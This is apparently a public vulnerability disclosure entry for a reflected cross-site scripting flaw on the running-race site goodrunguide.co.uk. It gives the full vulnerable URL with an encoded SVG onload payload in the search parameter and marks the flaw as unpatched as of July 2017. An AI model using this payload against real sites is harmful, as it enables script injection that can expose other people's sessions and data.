goodrunguide.co.uk XSS vulnerability

Vulnerable URL: http://www.goodrunguide.co.uk/RaceFinder.asp?SearchName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=366===A=30==1==1==D=RaceFinder=Search+for+Races+? Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability...